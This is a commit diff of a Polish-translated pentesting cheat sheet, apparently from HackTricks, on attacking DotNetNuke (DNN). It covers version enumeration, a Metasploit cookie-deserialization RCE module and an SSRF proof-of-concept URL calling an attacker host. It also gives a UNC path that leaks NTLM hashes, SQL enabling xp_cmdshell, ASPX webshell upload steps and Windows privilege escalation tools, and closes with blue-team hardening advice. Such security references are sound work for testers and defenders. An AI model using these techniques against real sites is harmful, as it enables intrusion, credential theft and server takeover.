Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d

This commit is contained in:
Translator 2025-07-19 08:09:28 +00:00
parent e5c0864c02
commit 743eee21d7

View File

@ -4,37 +4,92 @@
## DotNetNuke (DNN)
Jeśli zalogujesz się jako **administrator** w DNN, łatwo uzyskać RCE.
Jeśli zalogujesz się jako **administrator** w DNN, łatwo uzyskać **RCE**, jednak w ciągu ostatnich kilku lat opublikowano szereg technik *nieautoryzowanych* i *po autoryzacji*. Poniższa ściągawka zbiera najbardziej przydatne prymitywy zarówno do pracy ofensywnej, jak i defensywnej.
## RCE
---
## Wersja i enumeracja środowiska
### Via SQL
* Sprawdź nagłówek odpowiedzi HTTP *X-DNN* zazwyczaj ujawnia dokładną wersję platformy.
* Kreator instalacji ujawnia wersję w `/Install/Install.aspx?mode=install` (dostępne w bardzo starych instalacjach).
* `/API/PersonaBar/GetStatus` (9.x) zwraca blob JSON zawierający `"dnnVersion"` dla użytkowników o niskich uprawnieniach.
* Typowe ciasteczka, które zobaczysz na działającej instancji:
* `.DOTNETNUKE` bilet uwierzytelniania formularzy ASP.NET.
* `DNNPersonalization` zawiera dane profilu użytkownika w formacie XML/serializowanym (stare wersje patrz RCE poniżej).
Konsola SQL jest dostępna na stronie **`Settings`**, gdzie możesz włączyć **`xp_cmdshell`** i **uruchamiać polecenia systemu operacyjnego**.
---
## Wykorzystanie bez autoryzacji
Użyj tych linii, aby włączyć **`xp_cmdshell`**:
```sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
### 1. Deserializacja ciasteczek RCE (CVE-2017-9822 i kontynuacje)
*Dotknięte wersje ≤ 9.3.0-RC*
`DNNPersonalization` jest deserializowane przy każdym żądaniu, gdy wbudowany handler 404 jest włączony. Odpowiednio skonstruowane XML może prowadzić do dowolnych łańcuchów gadżetów i wykonania kodu.
```
A następnie naciśnij **"Run Script"**, aby uruchomić te zapytania SQL.
Następnie użyj czegoś takiego, jak poniżej, aby uruchomić polecenia systemu operacyjnego:
```sql
xp_cmdshell 'whoami'
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
```
### Via ASP webshell
Moduł automatycznie wybiera odpowiednią ścieżkę dla załatanych, ale wciąż podatnych wersji (CVE-2018-15811/15812/18325/18326). Eksploatacja działa **bez uwierzytelnienia** w wersjach 7.x9.1.x oraz z *zweryfikowanym* kontem o niskich uprawnieniach w wersjach 9.2.x+.
W `Settings -> Security -> More -> More Security Settings` możesz **dodać nowe dozwolone rozszerzenia** w sekcji `Allowable File Extensions`, a następnie klikając przycisk `Save`.
### 2. Server-Side Request Forgery (CVE-2025-32372)
*Wersje dotknięte < 9.13.8 Łatka wydana w kwietniu 2025*
Dodaj **`asp`** lub **`aspx`** i następnie w **`/admin/file-management`** prześlij **asp webshell** o nazwie `shell.asp`, na przykład.
Ominięcie starszej poprawki `DnnImageHandler` umożliwia atakującemu zmuszenie serwera do wydawania **dowolnych żądań GET** (pół-ślepy SSRF). Praktyczne skutki:
Następnie uzyskaj dostęp do **`/Portals/0/shell.asp`**, aby uzyskać dostęp do swojego webshella.
* Wewnętrzne skanowanie portów / odkrywanie usług metadanych w wdrożeniach w chmurze.
* Uzyskanie dostępu do hostów, które są inaczej chronione przed Internetem.
### Privilege Escalation
Dowód koncepcji (zastąp `TARGET` i `ATTACKER`):
```
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
```
Żądanie jest wyzwalane w tle; monitoruj swój nasłuchiwacz w poszukiwaniu wywołań zwrotnych.
Możesz **eskalować uprawnienia** używając **Potatoes** lub **PrintSpoofer**, na przykład.
### 3. Ekspozycja hasha NTLM za pomocą przekierowania UNC (CVE-2025-52488)
*Wersje dotknięte 6.0.0 9.x (< 10.0.1)*
Specjalnie przygotowana treść może spowodować, że DNN spróbuje pobrać zasób za pomocą **UNC path** takiego jak `\\attacker\share\img.png`. Windows chętnie przeprowadzi negocjację NTLM, ujawniając hashe konta serwera atakującemu. Zaktualizuj do **10.0.1** lub wyłącz wychodzący SMB w zaporze.
### 4. Ominięcie filtra IP (CVE-2025-52487)
Jeśli administratorzy polegają na *Host/IP Filters* w celu ochrony portalu administracyjnego, należy pamiętać, że wersje przed **10.0.1** mogą być ominięte poprzez manipulację `X-Forwarded-For` w scenariuszu reverse-proxy.
---
## Post-autoryzacja do RCE
### Poprzez konsolę SQL
W **`Settings → SQL`** wbudowane okno zapytań pozwala na wykonanie zapytań przeciwko bazie danych witryny. Na Microsoft SQL Server możesz włączyć **`xp_cmdshell`** i uruchomić polecenia:
```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
```
### Via ASPX webshell upload
1. Przejdź do **`Settings → Security → More → More Security Settings`**.
2. Dodaj `aspx` (lub `asp`) do **Allowable File Extensions** i **Zapisz**.
3. Przejdź do **`/admin/file-management`** i załaduj `shell.aspx`.
4. Uruchom go pod **`/Portals/0/shell.aspx`**.
---
## Privilege Escalation on Windows
Gdy uzyskasz wykonanie kodu jako **IIS AppPool\<Site>**, stosuje się powszechne techniki eskalacji uprawnień w systemie Windows. Jeśli system jest podatny, możesz wykorzystać:
* **PrintSpoofer** / **SpoolFool** do nadużycia *SeImpersonatePrivilege*.
* **Juicy/Sharp Potatoes** do ucieczki z *Service Accounts*.
---
## Hardening Recommendations (Blue Team)
* **Upgrade** do co najmniej **9.13.9** (naprawia obejście SSRF) lub najlepiej **10.0.1** (problemy z filtrowaniem IP i NTLM).
* Usuń pozostałe pliki **`InstallWizard.aspx*`** po instalacji.
* Wyłącz wychodzący SMB (porty 445/139).
* Wymuś silne *Host Filters* na krawędzi proxy, a nie w DNN.
* Zablokuj dostęp do `/API/RemoteContentProxy`, jeśli nie jest używane.
## References
* Metasploit `dnn_cookie_deserialization_rce` module documentation practical unauthenticated RCE details (GitHub).
* GitHub Security Advisory GHSA-3f7v-qx94-666m 2025 SSRF bypass & patch information.
{{#include ../../banners/hacktricks-training.md}}